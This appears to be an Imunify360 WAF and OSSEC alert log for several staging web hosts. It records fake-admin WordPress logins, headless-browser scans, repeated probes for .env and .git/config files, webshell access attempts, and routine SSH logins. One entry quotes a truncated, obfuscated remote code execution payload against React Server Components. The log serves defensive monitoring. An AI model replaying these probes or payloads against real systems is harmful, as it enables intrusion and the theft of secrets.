IM360 WAF: Prohibited WordPress username login/registration||WPU:adminlin||User:bookemfarmtrang||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 37.140.223.96
country_id: 6252001
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:siteseomanager461||User:bookemfarmtrang||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)
abuser: 193.36.225.85
country_id: 6252001
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)||MV:wwwadmin||MVN:ARGS:log||WPU:wwwadmin||User:bookemfarmtrang||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: hitlist.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"$f9e51139\":\"0a8f73ce9c8d61e4\",\"x_9ae1a38f\":false,\"data_d818556e\":\"resolved\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"ns_eadcdce1\":0.0,\"reason\":-1,\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var jqg=[].slice.call(arguments,1)[0];var ywiz=jqg;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 34.122.16.212
country_id: 6252001
domain: hitlist.trangotech.dev
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 4.193.175.44
country_id: 1880251
domain: shustle.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/admin.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)
abuser: 172.245.102.26
country_id: 6252001
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Tracking doubtful fake-admin WordPress username (RBL-only)||MV:wp-system||MVN:ARGS:log||WPU:wp-system||User:bookemfarmtrang||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.28.229.104
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 172.245.102.26
country_id: 6252001
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw@wordpress.com||User:bookemfarmtrang||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 172.245.102.26
country_id: 6252001
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:administratoir||User:bookemfarmtrang||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 136.144.43.37
country_id: 6252001
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/__tests__/test-become/.env||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 136.124.32.218
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/88.0.4298.0 Safari/537.36||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.96.46.44
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4950.0 Safari/537.36||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 71.131.195.4
country_id: 1814991
domain: kylenet.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/142.0.7444.48 Safari/537.36||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 54.223.180.240
country_id: 1814991
domain: kylenet.trangotech.dev
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 13; PFFM10 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 aweme_250000 JsSdk/1.0 NetType/WIFI Channel/31725782a AppName/aweme app_version/25.0.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BULLET/1 BytedanceWebview/d8a21c6 TTWebView/0881130048402||RSV:8.29||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.20.5
description:
Jul 16 06:42:37 staging sshd[27221]: Accepted publickey for sohail.umer from 192.168.20.5 port 64119 ssh2: RSA SHA256:0NvtpMntlVvWIYoMAEhbaXf1LUArCA7XZn8sNGvqnf0


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 103.133.216.219
country_id: 1252634
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/78/form.inc.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 89.248.172.33
country_id: 2750405
description:
89.248.172.33 - - [16/Jul/2026:07:21:39 -0400] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6448277&pdata=https%253A%252F%252F38.95.35.74%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1784200898 HTTP/2.0" 302 0 38.95.35.74 "https://38.95.35.74:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:89.248.172.33


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul 16 08:41:14 staging sshd[44319]: Accepted publickey for ansible from 192.168.0.89 port 60764 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul 16 09:09:39 staging sshd[55493]: Accepted publickey for ansible from 192.168.0.89 port 35992 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 43.153.62.161
country_id: 6252001
domain: shadow.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.29||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul 16 11:30:16 staging sshd[77595]: Accepted publickey for ansible from 192.168.0.89 port 36948 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/orders?per_page=100&page=1&modified_after=2026-07-15t17%3a55%3a03%2b00%3a00||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=l0nlv96k&v=5rmbn||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=al8bzdjd&v=fga10||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=sdkqomkf&v=xv0an||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=3mco6te2&v=z8xuk||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=t5od3h5c&v=zcnpn||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=z1h3w6zp&v=zl4wx||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=6ch2mml4&v=7iesu||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=mebg28ih&v=iusup||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=ul3b5e2j&v=obsep||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=be13sdz7&v=rszdx||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=mt534daj&v=gsd4y||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=t3dbxl88&v=pza7e||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.git/config?_=dvmjvldj&v=qw94u||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=tug6d6zm&v=ijrg9||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=z74zgw6i&v=jd55e||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 111.225.148.223
country_id: 1814991
domain: boat.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/.git/config?_=ey580efz&v=xiaa9||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.env?_=5dnri97p&v=y3e3w||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.102
country_id: 732800
domain: cramar.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.git/config?_=2ydu0dcb&v=wa43a||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77350559
name: IM360 WAF: Interaction with fake plugin
abuser: 47.89.246.29
country_id: 6252001
domain: cramar.trangotech.dev
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/custom-login-styler/cls-script.js||WPU:||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 124.253.119.39
country_id: 1269750
domain: express.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/grid-gallery/cache/twig/d9/fitxer1.php||SC:/home/expresstrangotec/public_html/wp-content/uploads/grid-gallery/cache/twig/d9/fitxer1.php||


plugin: modsec
rule: 77270974
name: IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)
abuser: 160.187.68.132
country_id: 1269750
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] File-manager/upload plugin interaction (WPT-2631 attack-surface tracking)||MV:/wp-content/plugins/wp-file-manager/lib/php/editors/ZipArchive/pluginsmanager.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 185.109.244.91
country_id: 130758
domain: express.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/grid-gallery/cache/twig/fe/userstats.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 38.86.174.106
country_id: 6252001
domain: woocommerce.staging-epcwms.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:GuzzleHttp/7||MV:/wordpress/wp-json/wc/v3/products?per_page=100&page=1&status=publish&modified_after=2026-07-15t13%3a00%3a23%2b00%3a00||RSV:8.30||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.188.16
country_id: 6252001
description:
47.251.188.16 - - [17/Jul/2026:03:55:54 -0400] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658967&pdata=https%253A%252F%252Fcramar.trangotech.dev%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1784274950 HTTP/2.0" 302 0 cramar.trangotech.dev "https://cramar.trangotech.dev:2087/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.188.16


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.188.16
country_id: 6252001
description:
47.251.188.16 - - [17/Jul/2026:03:56:01 -0400] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195812&pdata=https%253A%252F%252Fexpress.trangotech.dev%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1784274958 HTTP/2.0" 302 0 express.trangotech.dev "https://express.trangotech.dev:2087/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.188.16


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.22.241
country_id: 1880251
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=w3x8qx0z&v=024yc||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=5jkbf4p9&v=mj7m1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=muojzuyo&v=kwr2n||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=gbnj395s&v=9kg5f||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.bak?_=3iu2r4ie&v=6p6cu||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=m1cei5uz&v=7f9qz||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=o63bo88v&v=74kb7||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=gargq9mx&v=k30h4||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=fl0cm9tb&v=aytq3||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=e0lwtzk1&v=s94ud||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=kmxdvuw4&v=zg6qg||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/api/.env?_=3zhbv63r&v=xbxxt||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=hn84q1v1&v=8g11m||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dev/.env?_=e2o4yrab&v=ii1ql||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/srv/.env?_=lnixf2yw&v=xskgv||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=88fe6tiu&v=842p3||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=vbm8mr7m&v=pvbgt||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=8f62zddl&v=p7yqn&x=1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=plcfli5o&v=galk6||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=gadfjbnc&v=2lb11||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/HEAD?_=09nyk7d7&v=y31yd||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=0j15ftty&v=q1eji||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.104
country_id: 732800
domain: drop2trade.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/.env?_=8g1chqjd&v=4xj4p||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.29.126.15
country_id: 6252001
domain: teletext.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/admin.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.29.126.15
country_id: 6252001
domain: teletext.trangotech.dev
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/min.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 80.94.95.211
country_id: 798549
domain: 38.95.35.74:80
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app_dev.php/_profiler/.env||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=vrr1mqmr&v=npepb||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=o7n07er0&v=ew6s9||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=dikh7frm&v=nc6ch||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=4328sqcs&v=k5fwi||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.bak?_=0dhaie5f&v=6l6fj||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=ymte9li5&v=ktzfi||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=2jk5p6mk&v=2o78z||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=sth5fcik&v=kk4gr||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=9d3hnemr&v=q1udh||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=r4divkl9&v=dhex3||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=d7aeasb5&v=mjj25||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=heocac0c&v=lgxgr||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.80
country_id: 2750405
domain: nightlife.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=a0td6ypm&v=eiugp||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77045402
